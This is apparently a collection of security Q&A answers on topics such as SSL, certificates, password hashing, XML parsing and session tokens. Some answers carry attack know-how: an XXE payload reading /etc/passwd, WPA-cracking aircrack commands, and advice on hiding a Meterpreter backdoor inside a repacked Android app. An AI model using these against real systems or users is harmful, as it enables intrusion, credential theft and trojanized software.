Keeping user data private in a cloud environment like Google App Engine

You can't.  There's basically no technical mechanism that will prevent you from reading the user's content, if you wanted to and were malicious.
Here, let's look at some obvious attempts, and understand why they don't actually work:

You could encrypt the user's data under a key that is hardcode in your program, and store in the database in encrypted form, to prevent you from peeking at the user's data.  But then your code will have the decryption key, so you could always peek at the decryption key, and then you'll have the ability to see user data.  Doesn't work.
(Having the program generate the key for you doesn't work, either, because where is it going to store the key for future use?  Anywhere it can store the key, you can read.)

You could ask the user to provide a passphrase, derive an encryption key from the user's passphrase, encrypt the user's data using this key, and then store it in the database in encrypted form.  But then your code sees the decryption key.  You could modify your code to collect and log users' passwords, which would then let you read the users' data.  The users would have no way of detecting this.  Doesn't work.

You could send Javascript code to the user's browser.  The Javascript code could prompt the user for a passphrase, derive an encryption key from the user's passphrase, and encrypt the data (all executing on the browser, so the user's passphrase never leaves their browser).  The Javascript could then send the user's data, in encrypted form, to your server to store it.  This sounds attractive.  However, there is a serious problem with it.  If you were malicious or snoopy, you could easily modify your server code to send new Javascript to users, which collects their passwords and ships a copy to your server.  That would let you read the users' data.  While you might say "Gee, I would never do that", the point is that users would have no way of detecting this, so they have no way of verifying whether you are being honest or not, and there's no technical mechanism that prevents you from being dishonest.  Doesn't work.

So, as you can see, there's no technical solution to this problem that really prevents you from reading user data.  If you really wanted to read user data, you could, and you could even do it in a way that users wouldn't notice.  What assurances do users have that you won't do this?  Well, they have to trust you to be an honest sort.  Technical mechanisms can't solve the problem.
Now, there's still a good reason to encrypt.  If you are honest, and want to protect your users not from a dishonest version of you, but rather from inadvertent mistakes you might make or possible security breaches of the contents of the server database, well, now, that's a problem that can be at least partly solved using encryption.
But the particular problem you mentioned is not one that can really be solved through cryptography alone, in practice.


Reject requests from our tampered android apps

TL;DR: You cannot win.
What you want is called DRM, and that proved time and time again to be ineffective against dedicated users (or abusers). It increases the development cost, adds complexity, and don't solve the problem in the long run.
If you cannot rely on SafetyNet, there's no way. As defalt pointed on his comment, a tainted application will lie about its hash, because it's very easy to inspect the unmodified version and grab the hash there. You can obfuscate code to make analysis harder, but it's not possible to protect code running on the client when the client have incentives to break the protection.


Your last paragraph is correct: indeed, in the ClientHello message, the client announces its "maximum supported version". So a client that supports both SSL 3.0 and TLS 1.0 will say "I know up to TLS 1.0" (internally, "TLS 1.0" is encoded as "SSL 3.1"), but will still accept to use SSL 3.0. The protocol version which will be used is chosen by the server (in its ServerHello message).

What you observe, though, is an artefact from another peculiarity of SSL, which is that the version is indicated twice. Namely, all traffic in SSL is sent as records, and all records have a five-byte header that indicates:

The type of data in the record (type being "handshake message", "alert", "change cipher spec" or "application data")(one byte).
The record protocol version (two bytes).
The record length (two bytes).

So the report line you observe:

http-8443-14, READ: SSLv3 Handshake, length = 87 *** ClientHello, TLSv1

probably means: "A record of type 'handshake message', version SSL 3.0 and length 87 bytes, has been observed. Its contents turned out to be a ClientHello message that internally says 'I, the client, support protocol versions up to TLS 1.0'."

It is customary for SSL clients to use a "low" version (3.0) on the first record because there are old and broken SSL servers that not only do not support TLS, but also panic and die when faced with a record tagged "TLS 1.0", even though the format of an unencrypted TLS 1.0 record is absolutely identical to that of an unencrypted SSL 3.0 record (except for the version in the record header).

For more information on such details about SSL, read this.


How often should I check for unknown open ports

This will depend solely on your threat model.

In some environments, weekly may be fine, especially combined with something like Tripwire alerting.

For other, more dynamic or higher risk environments, you may wish to look at running it every half hour, or even more frequently, such as Mehmet's comment about running every 2 seconds (although in my opinion the network load at that frequency would be much more trouble than it is worth unless you have a very small network!)


Protocols that are highly resistant to code injection attacks ?

This paper deeply analyzes the problem and introduces a technique called Differential Parse Tree Differential Analysis. You should probably start from there.


What role does clock synchronization play in SSL communcation

In SSL, clocks are used for certificate validation. The client needs to make sure that it talks to the right server; for that, the client will validate the server's certificate. Validation implies verifying a lot of things; two of them involve clocks:

The server's certificate (and all involved CA certificates) must include the present time in their validity time range. Each certificate as a notBefore and a notAfter fields; the current time must fall between these two dates.
The client is supposed to obtain the revocation status of each certificate, by obtaining (and validating) a CRL (Certificate Revocation List) from the appropriate issuers (the CA). A CRL is deemed acceptable if (in particular) it is "not too old": again, the CRL has a thisUpdate field that says when it was produced, and a nextUpdate field that more-or-less serves as expiration date for the CRL.

If the client's clock is off, then it will break either or both of these functionalities. For instance, the server's certificate will be considered as "long expired", or "not usable yet", leading to rejection.

Accepting that the client's clock is off means that the client is modified to disregard dates in certificates and CRL. The ultimate consequence for security is that if an attacker succeeds in stealing the private key of a server, then that attacker will be able to impersonate that server forever. The point of revocation is to have a verified method to recover from such a compromise; and the point of certificate expiration is to keep CRL from growing indefinitely. If clients disregard revocation and/or expiration, then the raw consequence is that once a compromise happens, then you are doomed forever. Which is usually considered to be a bad thing.

On a brighter note, this is a problem for clients, not for the server. If you operate the server, then it is the client's job, not yours, to validate your certificate properly. If the client really insists on doing things insecurely and being vulnerable, then you cannot really prevent it, at least not technically (you can do things contractually: if the client's incompetence allows for a breach, the client should pay for it).

On a similar note, if the clients can talk to your server, then they are connected to some sort of network, meaning that Internet-based time synchronization is a possibility. Requiring an accurate clock is challenging for some embedded devices, but it should not be for networked computers (including smartphones).


I first saw the original referenced question and answered there, but I'll copy/paste my answer here since and add some more details to your additional questions:

ISP's should implement anti-spoofing. IETF's BCP38 (written in 2000!) describes a best practice for networks to do network filtering filtering to reduce spoofing and thus prevent DDoS atacks, but unfortunately(?) there is no global authority which can force them to do so.

As others pointed out, costs of implementing it may be a reason not to do so. Lower revenues could be an argument as well for some networks: not forwarding traffic means sending lower bills to customers, so it can be a business decision not to filter. Depending on the exact infrastructure and topology, it may not be so easy as you think to filter. For example, some equipment may not support it or may only support a limited number of access lists. Also, some networks have to deal with multiple layers of NAT due to lack of publicly routeable IPv4 addresses, and some networks have dynamic customers which roam through their networks or even use multiple networks as their upstreams. There are also many networks which do not implement DHCP (contrary to what you suggested in one of your comments). All of these things can make it really quite complex to implement proper anti spoofing.

However, in the pas few years a growing number of ISP's have pledged to implement controls described in MANRS ("Mutually Agreed Norms for Routing Security
"). One of the controls mentioned there is anti-spoofing. MANRS offers networks an extensive guide on implementing anti-spoofing in various ways in all kinds of setups with all sorts of equipment. Your claim that ISP's ignore it is not entirely correct (anymore). Just as MANRS has grown, many ISP's not pledging to follow MANRS did implement anti spoofing measures since they realized they were part of the problem.

Although spoofing still offers problems, more and more networks implement controls because they do realize they need to be sure they're not part of the problem. However, I'm sure that there will always be a fair number of networks who will not follow MANRS for various reasons, and also that there is a small number of networks who are willingly not filtering as a business model (and thus attracting more and more abuse). The only way to solve that, will be for all large (tier 1/2) networks to implement strict filtering, so that it becomes harder for these malicious networks to get their spoofed traffic routed across the internet.


Are passwords longer than 128 bits useless if hashed with MD5?

First, using a simple MD5 hash to protect a password is a bad idea from start. See How to securely hash passwords? for details.

Apart from that, you assume that a 128-bit password would have the same strength as the 128-bit MD5. This implicitly assumes that the 128 bits of the password are chosen randomly. This is usually not the case, i.e. passwords are commonly chosen to be memorable and memorizing 32-byte random data (or about 42  ASCII characters when encoded with base64) is not easily done.

By asking if passwords longer than 128 bits are useless since MD5 is only 128-bit you also assume that there is a 1:1 mapping between a 128-bit input and its 128-bit MD5 hash. I don't think that this is a property of MD5, i.e. you would need in some case (slightly) more than 128-bit input to generate a specific MD5 value.

But assuming that the password was actually 128 bit randomly chosen data, that the attacker has no access to the password but to the MD5 hash of it and  that this MD5 hash is then used to validate the password - in this case the attacker would need to do a pre-image attack, i.e. find an input which matches the existing hash value. It turns out that this is actually slightly less complex than brute-forcing all possible passwords. According to Pre-image attack on MD5 hash from crypto.se the complexity to find an preimage is about 2123 which is slightly less complex than brute forcing everything ( 2128 for a full search, i.e. 2127 on average) but still not easily doable.


You don't so much achieve a passing scan, as work with your QSA to agree the scope of the scan, and ensure this traffic is out of scope.

This will require you have a QSA who can understand this - and a lot does depend on their opinion, but that would be the approach I would take.

If you don't currently use a QSA, ensure you have fully documented the scope and the reasons for excluding certain traffic from scope - this one does seem relatively straightforward.


Repairing corrupt TrueCrypt volumes/disks?

First a bit of background; Truecrypt uses a classic 2-stage approach:

There is a small volume header, which the end user can decrypt with his password.
Inside this header there is a master encryption key, which is the one Truecrypt uses to encrypt and decrypt the main user data volume.

So your task right now is to recover or re-create the original volume header, with the original master encryption key used to create the volume.

I hope your recovery CD is a Truecrypt Rescue Disk, as described here. If it's a recovery CD from Microsoft Windows or partition tool (like Norton Ghost), then you are probably out of luck. These will very likely not contain a copy of the original Truecrypt volume header, or contain a damaged header, and thus be of no use.

If your recovery CD is made on another computer, for another Truecrypt volume, then it is of no use. It contains a copy of a volume header with a master encryption key -- but the master encryption key is for the other computer's volume, not for your friend's volume.

Assuming that you're not stuck due to the above problems, then here is what I would do to recover data:

Make a bit-by-bit copy of the harddisks to empty harddisks of the same or larger size. You could do this using fx Norton Ghost, Acronis Trueimage, or Linux tools like G4L or Clonezilla Live. Then put the original disks away. (The purpose of this step is to keep the original disks safe, in case I accidentally make an irreversible mistake while working with the volumes.)
Put the volume copies into a known good computer.
And now it should (hopefully) be a case of booting from the Truecrypt Rescue Disk (CD), and follow Truecrypt's instructions.


Are these four HTTP headers protection against Cross-Frame Scripting enough?

One answer: No.

This is a good start but these headers are indicators for the Anti-XSS filters and engines which are incorporated by the modern browsers. These are very fragile and thin protection against Cross-Site Scripting (XSS). An attacker will easily bypass these.

In order to completely make your application armoured and protected against XSS, I would still recommend using the ASP.NET's ValidateRequest filter along with a custom application-wide filter which encodes special characters in all requests.

The application should not accept any script, special character or HTML in fields whenever not required. It should escape special characters that may prove to be harmful. The characters can be escaped as per the list available at this link:

TheUKWebDesignCompany.com, HTML Escape Characters: Complete List


Is the Karma attack still relevant today?

It's still very much relevant.  I took a KARMA device with me to lunch today and 76 different devices attempted to connect to it.  Those are actual connection attempts, and not just probes.  I have MAC address whitelisting enabled, so nothing will successfully connect, but I'll know when they try.

Most OS vendors appear to have addressed the most obvious vulnerability where they'll probe-and-connect upon bootup or turning on wireless.  However, any current OS can be made vulnerable to KARMA if it's ever connected to an open network that doesn't broadcast its SSID.  Alternatively, if an attacker is in radio range, there are a number of ways that a user can be kicked off of an unencrypted network that will cause them to join the KARMA attacker's network instead.

Out of the 76 devices that attempted to connect to me, I have no way of knowing which are running old indeed-vulnerable operating systems, or which have been configured to be KARMA-vulnerable, or if there was another attacker or radio anomaly nearby.


Strange Email Validation request - should I worry about it?

Under ICANN's Whois Data Reminder Policy accredited registrars will revalidate contact information yearly - did you by any chance register this domain on 22/09/2017?

Aside from this, it may be a routine validation to ensure the Whois data is correct or it may be in response to a complaint regarding the current data.

There are a number of ICANN policies which registrars are obliged to follow which would explain this. My only word of caution is to ensure this came from a trusted source.


Is it secure to use a URL to automatically authenticate to an OAuth-protected API?

No, this scheme you propose is not secure, because you are potentially exposing your cross-domain authorisation token in server logs and referer strings on any third-party web servers you'll be linking contents from (or possibly injected by XSS to inspect for request values), if you're passing it along as a URI parameter.

As for cookies, it depends whether you'll be using this authorisation token on multiple domains or a single domain:

Multiple domains: Since you'll be needing your cookies to be read cross-domain (not limited to a certain path), meaning they could be read by any of your third-party content providers (any linked contents, including but not limited to external domain JavaScript, CSS, image, video,... files) as well. A better way to do it would be with the use of HTTP POST method, so you're at least not needlessly exposing this token to any of your third-party content providers (form data on POST is a part of the request body and not header, meaning its values are not simply inspectable through web servers).
Single domain: You could use cookies for this, but make sure they're locked to a single domain in their path value, and if possible, use httponly cookies also (if you framework doesn't support working directly with this value, you could simply attach ;httponly to the end of your authorisation cookie value). Using httponly will make sure these cookies can't be read by JavaScript on all supporting browsers (most do support this), thus eliminating the threat of XSS injections to steal your authorisation tokens and hijack user sessions.

These are the considerations you will have to take care of, regardless if you meant in your question you're after multiple-domain authorisation, or a single-domain one:

Tokens should not only be random, but also unique. Random here means they can't be predicted by knowing any of the previous tokens, and unique means you not only have to expire them as fast as you can, but completely remove from your token pool, and check on token creation you're not repeating and with it invalidating any previously generated tokens that are still valid. Though the unpredictability should theoretically take care of the latter uniqueness requirements, it's still best to make sure and check against your pool before writing a new token to your database.
You will probably want to lock your token validity to a unique client, as soon as possible. While that unique client might be a rather moot point and easy to spoof, it still provides for added validation when a single token will be used to authorise a single user across multiple domains (or on single domain, when the user resubmits the login request for some reason). I suggest signing any client data you can get your hands on with a HMAC and then storing it in your database along with the token. On any further authentication request, you then also check against this client signature HMAC to further validate the token used.
Perhaps most importantly, make sure all of this token exchange is secured by using encrypted transport layer, namely HTTPS (SSL or TLS), and eliminate MiTM type attacks on your authorisation process.


Correct CRL and OSCP URIs along certificate chain

All of these fields have no meaning for the root certificate, as it is already known by the application, and the only way to revoke it is to modify the application. There is no CA more trusted than the root CA to certify that the root is trusted, or that it should no longer be trusted (i.e. revoked).

All of those fields are optional, and the baseline requirements, which define what is required of publicly trusted Certificate Authorities, only require the CRL distribution points for intermediate CA certificates.

CRL distribution points

For CRL distribution points, if you only specify an uri, it is considered to point to a CRL signed by the same issuer, that will contain a reference to this certificate if it is revoked. It is not necessary that all certificates issued by a certificate authority have the same CRL distribution point, and you could segment these so that the CRLs do not grow too much (for example, every 1000 certificates issued, you change the CRL distribution point, and the CRL at that URL will only contain references to those 1000 certificates).

You can however also specify a crlIssuer field in addition to the URL in the CRL distribution point, to specify that the CRL will be signed by a different CA. So you could also point to the same CRL in the leaf certificate and intermediate certificate, and specify in the leaf certificate that the crlIssuer is the root certificate, though that would require you to use the root certificate to revoke a leaf...

OCSP URIs

For OCSP URIs, it should point to an OCSP server that can provide an OCSP response for the certificate. Similarly to CRLs, you need not use the same server for all certificates issued by a given CA and could segment it, though this is far less common as the OCSP answer does not grow with the number of certificates issued by the CA. You can also point to the same URL as that used by other certificates. An identifier for the certificate for which OCSP is checked is provided in the OCSP query, so that server can answer with the correct answer even if it handles multiples CAs.

CA Issuers

If present, CA issuers must point to a url that contains the certificate that issued the certificate, though that url can contain multiple certificates encoded as a certs-only CMS message. I'm not aware of that possibility being used very often though.

References

This is all documented in RFC5280 (section 4.2.1.13 for CRL distribution points, and section 4.2.2.1 for Authority Information Access, including OCSP and CA issuers).


What is the actual security of this login page?

Certain elements of the page are not sent via HTTPS. This means that those elements can be read by anyone sniffing the network, or modified in-transit by an active attacker. This might result in an attacker executing JavaScript on the page. As such, your browser is warning you that the page is, for most intents and purposes, the equivalent of not being encrypted at all.


Using mitmproxy to analyze mobile application and iOS network data

The apps don't directly detect a local proxy configuration. In fact, if the proxy would only be a proxy by directly forwarding the traffic, it would probably work. The mitm proxy also breaks up any encryption in the traffic by issuing its own certificate instead of the server supplied one.

The problem here is, that every application that actually verifies the server certificate will notice that the supplied certificate from mitm.it is not valid.

There are some methods that are in place to check the validity.

The simplest one is, that the mitm.it certificate is not issued by a trusted CA (Certificate Authority).

Another method that could be at work here is public key pinning. By using this the application does not just expect any matching trusted certificate of the server, but a very specific one. If gets any other certificate, the validation fails.

Also see OWASP PKP

Now to the question on how to bypass this. This does depend on the configuration of the app. If you can import the CA of mitm into the iPhone and set it as trusted, it should work. At least if PKP is not used. There is not workaround for PKP that I know of. I hope there isn't one.


Protect PHP hashing algorithm (from bots)

You cannot. It is unfortunate, but you cannot. Whatever is running as the client (barring some situations you are almost certainly not in involving TPM) can, if someone is sufficiently motivated, be completely understood. Someone can disassemble it, emulate it, patch it - there's virtually nothing you can do about this.

What you need to do is not look at authenticating the client, but rather authenticating the USER. Look at OAuth2/OpenID Connect/similar - make them log in with gmail or facebook before using your app. If this is a background process, allow them to register on your website (using oauth2, etc) to get an apikey. That apikey is unique to them, identifies them to you, so if you see abuse, you can tie it back to their gmail/facebook/whatever.

If you can't do this, well, then you're stuck with just making it harder. You can hope they are not sufficiently motivated to decompile your app and get your hash algorithm, but in the long run, that's not a winning game.


I'm moving my website to a new server, what implications does this have for my SSL certificate?

It does not mean anything. The certificate is not bound to the server, so you can move them around as needed.

When you copy the certificates from the old to the new server, and change the DNS records to point to the new one, any client browser will connect to your domain, get the certificate, validate it and accept it. You don't need to issue new certificates.


RSA vs DSA Digital Signature Message Digest Recovery

It's really pretty much irrelevant. Message digests are done using a preimage-resistant hashing algorithm, which means that knowing the hash doesn't help you find anything that hashes to that value faster than brute force. But the attacker could also do the brute-force attack directly on the signature -- with both RSA and DSA, an attacker can see if the signature is a valid signature for a candidate message. This is inherent to all public-key signature algorithms; it means that if the attacker has a (not very long) list of possible messages, they can fairly quickly see if one of them was the thing the signature is for.

The one thing I can think of that might be different is that textbook RSA signatures and signatures using the old PKCS 1.5 padding will let someone tell whether two signatures are for the same message, without knowing the message, even if the signatures are with different keys (if they're the same key, the signatures themselves are the same, since both methods are deterministic).

RSA-PSS (the newer, randomized signature padding scheme for RSA) doesn't actually have message digest recovery, because it actually computes H(0..0||H(m)||S), where S is a random salt, and then uses that in the rest of the signature. It doesn't have the property above; without knowing the message, you can't easily tell if two signatures were for the same message. So, message digest recovery depends on padding.

Really, though, signatures in general are not designed to provide confidentiality. Anyone can confirm a guess about what your message is if they have a signature for it, so you should give your signatures as much confidentiality as you want for your message.


How to avoid XML vulnerabilities in Python?

Is it worth to entirely switch to defusedxml?

Whether it is worth it not only depends on the threat that is mitigated but also how much extra work it is for you to use defusedxml instead of any other library. While I can give you security advise, only you can answer that question.

I consider XXE (XML External Entity (XXE) Processing
) a more serious problem than billion laugs. XXE may expose files on the local filesystem by defining entities that read files:

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

For many XML libraries, it is possible to disable DOCTYPE handling or entity expansion, and that would make handling untrusted XML safe. The advantage of defusedxml is that it comes with the secure settings by default, and you don't have to worry about that.

Don't base your security on XML validation or sanitation before parsing it. Creating a regex filter that recognizes XML entities that cannot by bypassed by the attacker is close to impossible.

  I need to use defusedxml to protect against billion laughs and similar attacks?

Most libraries can be configured to protect against XML attacks. You don't need to use defusedxml.

  Then will (after I use defusedxml) it be enough to limit the size of downloaded XML files?

Using defusedxml or disabling the DOCTYPE and entity expansion features will make the XML behave more like you would expect. Limiting the size is a good idea, but not strictly necessary. The power of billion laughs is that it takes up a lot of server resources with a little of the client's resources. A normal XML will take about as much server resources as client resources.

  Or do I need some (which?) more advanced counter-measures? Or some other kind of countermeasures?

Not for XML related vulnerabilities, no.


Use javascript variable instead of session cookie

The primary security reason to avoid cookies would be to prevent CSRF attacks, which is a valid goal. Cookies were not well-thought-out from a security standpoint. On the other hand, there are well-established approaches to avoiding CSRF, so it's not a hugely valuable technique.

From a privacy standpoint, cookies (especially third-party cookies) are dangerous. For this reason, some users and/or browsers block them, which can provide developers with a functional reason to use something else.

However, even for a single-page application (SPA), you probably want to persist your session token. The standard way to do this from JS is to use local storage (either persistent or session storage), which is basically a way to store JS variables for a particular site across user visits, or at least page loads within a given session. All modern browsers support local storage.

The main security downside of local storage (or any other way of doing programmatic session management on the client, instead of relying on the automatic behavior of cookies), is that an attacker that gets XSS (Cross-Site Scripting) within your web app can steal the token and hijack the session to impersonate the victim, even after the victim closes the browser (by contrast, the typical session cookie is flagged as httponly, which prevents JS from reading it and restricts session hijacking to only as long as the victim leaves the web app open).


How does infection through web surfing work?

Generally, most drive by browsing attacks are through browser vulnerabilities, which redirect you etc.,
but some are through PDF render engines, or in fact any input or display functionality.

These do not have to be zero-days. Many browsers have vulnerabilities - some that have been known for years and have fixes out.


Unable to PSEXEC into machine with admin hash

This could be two things.

If your account is in fact RID 500 then the registry key FilterAdministratorToken might be set to prevent SMB logins to built-in administrator having admin privileges.

If the account is not RID 500, then UAC or the LocalAccountTokenFilterPolicy registry key is filtering the token with the elevated privileges (so your account acts as a normal user without access to the service required for PSExec).

See http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/ for more info.


The notion that open source software is inherently more secure than closed source software -- or the opposite notion -- is nonsense. And when people say something like that it is often just FUD and does not meaningfully advance the discussion.

To reason about this you must limit the discussion to a specific project. A piece of software which scratches a specific itch, is created by a specified team, and has a well defined target audience. For such a specific case it may be possible to reason about whether open source or closed source will serve the project best.

The problem with pitching all "open source" versus all "closed source" implementations is that one isn't just comparing licenses. In practice, open source is favored by must volunteer efforts, and closed source is most common in commercial efforts. So we are actually comparing:

Licenses.
Access to source code.
Very different incentive structures, for-profit versus for fun.
Very different legal liability situations.
Different, and wildly varying, team sizes and team skillsets.
etc.

To attempt to judge how all this works out for security across all software released as open/closed source just breaks down. It becomes a statement of opinion, not fact.


Google might have it in their logs, but I doubt they'd let you know.

IANAL, but there is one way that could establish that the letter was sent - if your ex-wife logged in on her Gmail account, showed that it really was her Gmail account at the court, and showed the mail in the "Sent Items" box. Then the court could also establish to whom it was sent and CC'd - or rather, to which e-mail adresses it was sent and CC'd.

It's not possible to prove that the mail was not sent. If the mail is not present in the "Sent Items", she could simply claim that she'd already deleted it from there.


What sites are still vulnerable to FireSheep?

Bottom line, anything that does not use HTTPS for all connections is vulnerable to Firesheep.

I can imagine that a lot of the original handler scripts no longer work because a large number of sites have fixed their sites to use HTTPS.  Or if they were really lazy they just modified things slightly to obscure things.

I tried out Firesheep when it was released and I couldn't listen to public traffic with my laptop's built-in wifi card.  If that is the problem you are having it is probably because it doesn't support monitoring mode. A 10-20$ usb wifi dongle will solve that problem.
 I have an ASUS USB-N13 that supports monitoring mode. I believe it goes for 20$ or so now.

As Rook mentions, the whole Stack Exchange network of sites is vulnerable.  In fact, last time I checked the creators of Stack Exchange don't even think it is important.  Or at the very least it was not important enough for the difficulty involved.

Firesheep is intended to show the well known insecurity of not using HTTPS.  It did it's job well as many website started using HTTPS right after its release.

There is another use for Firesheep that is a little less known.  It can also be used over encrypted WPA2-AES networks to show the "Hole196" vulnerability in WPA2.  I don't believe the original version of Firesheep includes this functionality but modified versions exist that do.  The creator of Firesheep thought that including the WPA2 feature was too dangerous, and I agree. (citation needed)


Are PHP Sessions based on cookies or a cookie-IP pair?

Cookies only; of course, there's nothing preventing you from this:

if (empty($_SESSION['ip']) {
  $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
} else {
  if ($_SESSION['ip'] != $_SERVER['REMOTE_ADDR']) {
    // IP changed
  }
}

Note that identifying a user by IP address is only a stopgap measure, and I wouldn't consider it relevant to security - e.g. large organizations use NAT, so multiple computers will appear as having the same address to the Internet at large. Conversely, e.g. mobile users' IP address can change often, so don't automatically assume "same IP address == same user, different IP address == different user".

Further concerns: IPv4 and IPv6 dual-stack, IPv6 Privacy Extensions, etc.


Android screen lock vs device encryption

In laymans terms, its the difference between having a guard, and a locked vault.

When you have only a lockscreen, its just like having a human guard that will ask you for a password/PIN. If this can be circumvented or bypassed - either via a vulnerability - which would be equvalient with social engiinering the guard into giving you access without knowing the password/PIN, or if the lockscreen can be forcefully removed, would be equvalient with killing the guard, access is subsuquently granted.

If you instead have the device encrypted, its like a locked vault. No matter who you kill or bypass, you can't get into the vault without the correct code or key.

Using device-encryption while off, along with screen lock while its on, is more equvalient with the bank vault being closed and locked during closing hours, and a human guard during opening hours. The guard is more convient during daytime since you dont have to open and close the heavy vault door all the time.

The reason you can't use fingerprint authentication with encryption, is because a encryption key cannot be derived from a fingerprint. Instead, you have to have some hardware that performs an authentication - like the guard - and releases the key upon correct authentication.
A fingerprint authentication isn't like providing a password, since everytime you place the finger, you are not placing it exactly like you did when enrolling. Instead, a very complicated mathematical calculation needs to be made, to judge if the fingerprint is enough similiar to the enrolled fingerprint, to be accepted.

Imagine like taking a photo of your house. Next day you see a house and want to know if its yours. You take  a new photo. If you would hash these photos or compare them bitwise, you would always come out to a false decision, because the photos will be slightly different lightning and angles.

Thats why you cannot derive an encryption key out of a biometric authentication.


Malware infections from visiting or using YouTube

Yes, as you are browsing to a website, the same risks apply:

if the website is compromised, then you could download malware onto your machine
if you click on a malicious link in the user submitted comments, bad things may happen
if you click on a malicious advert (can happen, see Danny's comment below), bad things may happen

None of these are really about YouTube or Google - they are general website risks.

That said, google are generally good at finding and fixing vulnerabilities and flaws. They even pay people who point out bugs. So YouTube may be a lower risk than some other sites. It is a nice target, though, as attackers will see the number of visitors as a potential goldmine.

You can protect yourself by keeping your browser up to date, and using valid codecs (ie don't install custom video codecs that may have come from a dodgy site - they could subvert the video stream into doing something malicious)


Hosting a "Capture the Flag" style competition for fun and learning?

The problem with Metasploitable and alike is that these are mostly for demonstration purposes and contain far too many vulnerabilities which also aren't easy to fix either. Also in a CTF, you don't want people to corrupt the complete VM but only get a token out of a single service.

I would suggest looking at the iCTF, they have some sample services. If you all are IT affine and do CTFs for fun and educational purpose, writing your own vulnerable services is a good idea. They can be simple web or CLI apps, there are extensive design guides on iCTF. They also have a complete framework for any kind of CTF.


How do I map all active wireless devices inbound?

You are searching for airodump-ng (interface) !

Main steps in short:

1) Put monitor mode

airmon-ng

2) Dump (This step is what you are searching for)

airodump-ng mon0

3) Generate some traffic

aireplay-ng

Wait for the handshake.

4) Crack it with a list

Use the John the Ripper as word list to crack the WPA/WP2 password.

aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Here is the full description! (I assume you use BT)

backtrack wep crack

HOWTO : WPA/WPA2 cracking with Back|Track 5


What will be the problems if 2 users receive the same OTP in an arbitrary time gap?

There are no issues. Each OTP is linked to a specific user for a specific time. If it's an OTP sent via email or SMS it's likely in its own database table with a user id and expiration. If it's HOTP or TOTP the key(s) would be linked to the user and expiration is built into the algorithm.

  I know that one OTP should be generated only once.

No. Each OTP should only be used once, and invalidated after use. There is no requirement that every OTP must be unique and never used again.

If an OTP is generated and then used, it may be generated and used again in the future, but at any point in time the only valid OTPs are those that were generated but not yet used or expired.


Can a .jar file execute malware on macOS without running it?

Unless a file is somehow auto-executed or otherwise opened by your system, it is not possible for malicious code to run.


Which approach provides more authenticity of image ownership: cropping, or reduced resolution?

There are a few ways to achieve proof of ownership.

For image content where there are higher resolution source files that show content from outside the frame (e.g. a RAW file from a camera, or a Photoshop / Illustrator file) you could digitally sign the content using a personal certificate (with a proper trusted root CA) and use a Timestamp Authority (TSA) to prove that your content and signature was not created after a particular date. You can create this signed file before publication and it will provide strong evidence that you did create it.

Additionally, you could research a concept called robust digital watermarking. This area of research focuses on embedded watermarking features into common media formats (JPEG, MPEG, MP3, etc.) which survive transformation such as cropping, brightness/contrast adjustment, time stretching, re-encapsulation (e.g. moving an X.264 video stream from an MPEG-4 container to a Matroska container) and various other attempts to obfuscate the source. This sort of thing has been implemented in various copyright enforcement systems and, as I understand it, underpins a lot of the copyright detection mechanisms on sites like YouTube.


Both have pros and cons. IMO there is a main reason to use a password manager instead of a password generator:

To store assigned passwords.

In the particular case of Master Key, it can be stored anyway using your master key as an AES key and encrypting the assigned password. The problem with this approach is that as soon as you need to store an assigned password your password generator turns into an hybrid password generator + password manager. Why do you need 2 solutions for the same problem? Even more, if you need this feature then you have the worst of the two worlds

The other (Argable) reason to use a password manager is usability. In the case of a password manager you just remember your master password and it's it, you can use it. In a password generator (Just talking about Master Key specific needs) you need to remember your master password, your name (You shouldn't forget this though), the type of password and the password counter PER APPLICATION!. It may not be a problem for a few sites, but as soon as you have 50 applications it can be messy to remember the values for each one

About password managers, personally I don't like online password managers, I prefer offline ones like Password Safe, the reason: I trust myself more than a server with an unknown process to protect my passwords. Also, an attacker trying to break into my vault will need access to my master password and the vault, instead of just my password (Unless using 2FA)

Anyway, all the three options are good enough if you understand the risks


jquery.js Dynamic Code Evaluation: Code Injection on setTimeout() line

It's a false positive.

Reporting false code injection vulnerabilities is a well-known problem with HP Fortify and has confused developers before. Fortify just does basic static analysis of the Javascript code and can't go arbitrarily deep to understand how it works. As @AlexanderOMara suggested, it just seems to discover the potentially dangerous setTimeout() function which can, as setInterval(), take a string argument that would be executed as code, just like eval() does. This the sort of vulnerability, the tool aims to discover:

setTimeout('alert(' + document.location.hash.split('#')[1] + ')', 0);

But in your case there is no user-supplied, unfiltered input to the setTimeout() function and it therefore looks safe. Leaving you with a great conclusion from the linked thread:

  My advice is to stop running HP fortify reports.
  Or pay the five thousand, or whatever  dollars to go to their classes so you could actually understand their malarkey.


When does an Apple Pay token get converted to a real credit-card

With Apple Pay, no credit card data -- even in encrypted form -- is ever stored on the iPhone or on Apple's servers. Similarly, no credit card data is ever transmitted to or stored on a merchant's servers.
When a user first signs up for Apple Pay, either via an existing iTunes credit card or by loading a new one onto the iPhone, the card information is immediately encrypted and securely sent to the appropriate credit card network. Upon determining that the credit card account is valid, a token is sent back down to the device whereupon it's safely stored within the iPhone's Secure Element.
The token is used in place of an actual credit card number and is what Apple, in its marketing materials, refers to as a unique Device Account Number.

So it's the creditcard that gets converted into a token. You can read the rest of the story here.


That's because you created the apk in the wrong way I think. Usually if you create a apk using Msfvenom, the meterpreter session is not opened on install. It's opened once app is launched.

Anyway, the result of creating a Meterpreter apk using Msfvenom is too suspecting... an app what is doing apparently nothing with a blank screen... you better should try to decompile an existing apk and then inserting the meterpreter code inside it and repack. The meterpreter session will remain while the app is open. To do that try this manual (two parts):

https://techkernel.org/2015/12/11/embed-metasploit-payload-in-apk-easily/
https://techkernel.org/2015/12/19/embed-metasploit-payload-in-apk-manually/

Good luck


I have found a solution to this problem.

I enabled packet forwarding on my kernel and the attack works great now.

 sudo sysctl -w net.inet.ip.forwarding=1


No, The LastPass website does not normally know your login credentials.

On their website, they supply JavaScript code to do in-browser decryption. So, yes, we still need to trust LastPass that this code is implemented correctly, but the password isn't sent to their servers.

Note: Trusting lasspass means that we need to trust them not to give you a non-standard version of their website javascript for certain special IP addresses at the behest of the NSA if they use a National Security Letter.

Resources:

Lastpass Technology
Lastpass How-It-Works
Lastpass How is LastPass Safe?
How does LastPass store my passwords on their website?


